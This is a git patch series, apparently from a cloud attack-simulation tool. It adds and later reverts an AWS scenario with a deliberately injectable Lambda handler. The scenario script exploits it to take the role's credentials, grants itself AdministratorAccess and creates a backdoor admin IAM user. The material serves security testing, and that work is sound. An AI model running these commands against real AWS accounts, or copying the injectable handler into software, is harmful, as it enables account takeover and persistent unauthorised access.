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 + + + + + COBRA Attack Path Report + + + +

+
+ COBRA Logo +

COBRA Attack Path Report

+
+
+

Attack Path Scenario Explained

+

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

+
+ +
+

Attack Scenario Breakdown

+

1. Application is exploited through API GW, lambda backend

+

2. Lambda Role credential is discovered and exfiltrated.

+

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

+

4. Attach Privileged Policy to the Role.

+

5. Provision a Backdoor IAM Role to maintain persistence.

+

6. Whitelist Attacker account id in the trust policy of the backdoor role.

+
+ +
+

Attack Path Graph

+ Attack Path Graph +
+
+

Resource Meta Data

+ + + + + + + + + + + + + + + + + + + +
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
+
+
+

List of Controls to Evaluate Post-Attack

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
+
+
+ + + ''' + + with open("cobra-as2-report.html", "w+") as file: + file.write(html_template) + + + print("HTML report generated successfully.") + webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file diff --git a/scenarios_ng/scenario_2/scenario_2.py b/scenarios_ng/scenario_2/scenario_2.py new file mode 100644 index 0000000..3941675 --- /dev/null +++ b/scenarios_ng/scenario_2/scenario_2.py @@ -0,0 +1,116 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from .report.report import gen_report_2 + +from core.scenario import BaseScenario + + +class Scenario2(BaseScenario): + + +def scenario_2_destroy(): + with open("./core/aws-scenario-2-output.json", "r") as file: + data = json.load(file) + + LAMBDA_ROLE_NAME = data["lambda-role-name"] + + print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) + subprocess.call("aws iam delete-user --user-name devops", shell=True) + + subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) + subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi destroy", shell=True) + + +def scenario_2_execute(): + print("-"*30) + print(colored("Executing Scenraio 2 : Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence ", color="red")) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-2-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi up -s aws-scenario-2 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack -s aws-scenario-2 output --json >> ../../../core/aws-scenario-2-output.json", shell=True) + + with open("./core/aws-scenario-2-output.json", "r") as file: + data = json.load(file) + + API_GW_URL = data["apigateway-rest-endpoint"] + LAMBDA_ROLE_NAME = data["lambda-role-name"] + API_GW_ID = data["api-gateway-id"] + LAMBDA_FUNC_ARN = data["lambda-func-name"] + + print(colored("Exploiting the Application on API GW", color="red")) + loading_animation() + print("-"*30) + + print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) + print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) + loading_animation() + print("-"*30) + + creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" + subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) + + print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) + subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + # Loop until sleep_duration is reached + while sleep_duration > 0: + # Sleep for a shorter interval to update the progress bar + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + # Update the progress bar with the elapsed time + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + + #Backdoor IAM User + print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) + loading_animation() + print("-"*30) + subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) + + + #Backdoor Role + # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) + # loading_animation() + # print("-"*30) + # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) + # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) + + + gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) + + subprocess.call("rm token.txt", shell=True) \ No newline at end of file From e174634300fba12dc024581f6b04e5c0d2c09e18 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 26 Jul 2024 06:19:03 -0500 Subject: [PATCH 53/76] Revert "Add progress bar sleep to attack method" This reverts commit a0066740632bfad9bfae32466502f1c4f1996396. --- cobra.py | 9 +- core/helpers.py | 3 +- core/scenario.py | 7 +- scenarios_ng/scenario_2/infra/__main__.py | 60 ------- .../infra/assume-role-trust-policy.json | 12 -- scenarios_ng/scenario_2/infra/iam.py | 36 ---- scenarios_ng/scenario_2/infra/lambda/hello.py | 26 --- scenarios_ng/scenario_2/report/cnbas-as-2.png | Bin 123970 -> 0 bytes scenarios_ng/scenario_2/report/report.py | 168 ------------------ scenarios_ng/scenario_2/scenario_2.py | 116 ------------ 10 files changed, 14 insertions(+), 423 deletions(-) delete mode 100644 scenarios_ng/scenario_2/infra/__main__.py delete mode 100644 scenarios_ng/scenario_2/infra/assume-role-trust-policy.json delete mode 100644 scenarios_ng/scenario_2/infra/iam.py delete mode 100644 scenarios_ng/scenario_2/infra/lambda/hello.py delete mode 100644 scenarios_ng/scenario_2/report/cnbas-as-2.png delete mode 100644 scenarios_ng/scenario_2/report/report.py delete mode 100644 scenarios_ng/scenario_2/scenario_2.py diff --git a/cobra.py b/cobra.py index 9f50d5d..a0c9fc0 100644 --- a/cobra.py +++ b/cobra.py @@ -1,7 +1,9 @@ import argparse +import os +from pathlib import Path, PurePath from core import main_ng as main -from core.helpers import get_scenario_list +from core.helpers import get_scenario_list, get_scenarios_config def parse_arguments(): @@ -15,10 +17,15 @@ def parse_arguments(): def main_function(cloud_provider, action, simulation, scenario): + # Call the main function from the imported module and pass the options main.main(cloud_provider, action, simulation, scenario) if __name__ == "__main__": args = parse_arguments() + + # Convert argparse Namespace to dictionary options = vars(args) + + # Call the main function with options main_function(**options) diff --git a/core/helpers.py b/core/helpers.py index dcc4cac..47d8a34 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,12 +1,13 @@ import os from pathlib import Path, PurePath +import pyfiglet import time import subprocess +import json import re from time import sleep from termcolor import colored -import pyfiglet import requests import yaml from tqdm import tqdm diff --git a/core/scenario.py b/core/scenario.py index 6fb98ec..355982a 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -1,6 +1,6 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- -"""Module providing a class for encapsulating COBRA scenarios.""" +"""This module provides a base class for COBRA scenarios.""" import importlib import json import os @@ -42,6 +42,7 @@ def attack(self): data = json.load(f) result = self.attack_mod.attack(data) if (result): + # TODO: logging instead of print print(colored('Attack succeeded', color='red')) else: print(colored('Attack failed', color='red')) @@ -53,7 +54,7 @@ def destroy(self): def generate_report(self): """Generate report.""" - print('Reporting not yet implemented.') + print('Not yet implemented.') # TODO # html_template = '' # with open('cobra-report-{}.html'.format(self.slug), 'w+') as file: @@ -70,7 +71,7 @@ def _get_stack(self): program=self.infra_mod.pulumi_program ) stack.workspace.install_plugin('aws', 'v4.0.0') - # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) + stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) # TODO: make region configurable stack.refresh(on_output=print) return stack diff --git a/scenarios_ng/scenario_2/infra/__main__.py b/scenarios_ng/scenario_2/infra/__main__.py deleted file mode 100644 index 89142e3..0000000 --- a/scenarios_ng/scenario_2/infra/__main__.py +++ /dev/null @@ -1,60 +0,0 @@ -import iam -import pulumi -import pulumi_aws as aws - -region = aws.config.region - -custom_stage_name = 'example' - -lambda_func = aws.lambda_.Function("mylambda", - role=iam.lambda_role.arn, - runtime="python3.12", - handler="hello.handler", - code=pulumi.AssetArchive({ - '.': pulumi.FileArchive('./lambda') - }) -) - -def swagger_route_handler(arn): - return ({ - "x-amazon-apigateway-any-method": { - "x-amazon-apigateway-integration": { - "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), - "passthroughBehavior": "when_no_match", - "httpMethod": "POST", - "type": "aws_proxy", - }, - }, - }) - -rest_api = aws.apigateway.RestApi("api", - body=pulumi.Output.json_dumps({ - "swagger": "2.0", - "info": {"title": "api", "version": "1.0"}, - "paths": { - "/": swagger_route_handler(lambda_func.arn), - }, - })) - -deployment = aws.apigateway.Deployment("api-deployment", - rest_api=rest_api.id, - stage_name="", -) - -stage = aws.apigateway.Stage("api-stage", - rest_api=rest_api.id, - deployment=deployment.id, - stage_name=custom_stage_name, -) - -rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", - action="lambda:invokeFunction", - function=lambda_func.name, - principal="apigateway.amazonaws.com", - source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), -) - -pulumi.export("api-gateway-id", rest_api.id) -pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) -pulumi.export("lambda-role-name", iam.lambda_role.name) -pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json deleted file mode 100644 index b4b1999..0000000 --- a/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole" - } - ] -} diff --git a/scenarios_ng/scenario_2/infra/iam.py b/scenarios_ng/scenario_2/infra/iam.py deleted file mode 100644 index 29df25a..0000000 --- a/scenarios_ng/scenario_2/infra/iam.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright 2016-2018, Pulumi Corporation. All rights reserved. - -from pulumi_aws import iam - -lambda_role = iam.Role('lambdaRole', - assume_role_policy="""{ - "Version": "2012-10-17", - "Statement": [ - { - "Action": "sts:AssumeRole", - "Principal": { - "Service": "lambda.amazonaws.com" - }, - "Effect": "Allow", - "Sid": "" - } - ] - }""" -) - -lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', - role=lambda_role.id, - policy="""{ - "Version": "2012-10-17", - "Statement": [{ - "Effect": "Allow", - "Action": [ - "logs:CreateLogGroup", - "logs:CreateLogStream", - "logs:PutLogEvents", - "iam:AttachRolePolicy" - ], - "Resource": "*" - }] - }""" -) diff --git a/scenarios_ng/scenario_2/infra/lambda/hello.py b/scenarios_ng/scenario_2/infra/lambda/hello.py deleted file mode 100644 index 964f80b..0000000 --- a/scenarios_ng/scenario_2/infra/lambda/hello.py +++ /dev/null @@ -1,26 +0,0 @@ -import json -import subprocess - -def handler(event, context): - # Retrieve the command parameter from the query string - command = event.get('queryStringParameters', {}).get('query', '') - - # Check if the command is empty - if command == 'ping': - return { - 'statusCode': 200, - 'body': json.dumps('Cheers from AWS Lambda!!') - } - else: - # Execute the command using subprocess - try: - result = subprocess.check_output(command, shell=True) - return { - 'statusCode': 200, - 'body': result.decode('utf-8') - } - except subprocess.CalledProcessError as e: - return { - 'statusCode': 500, - 'body': f'Error executing command: {e}' - } diff --git a/scenarios_ng/scenario_2/report/cnbas-as-2.png b/scenarios_ng/scenario_2/report/cnbas-as-2.png deleted file mode 100644 index fb31477ace831ed4f6d956806028396e50182c06..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 123970 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 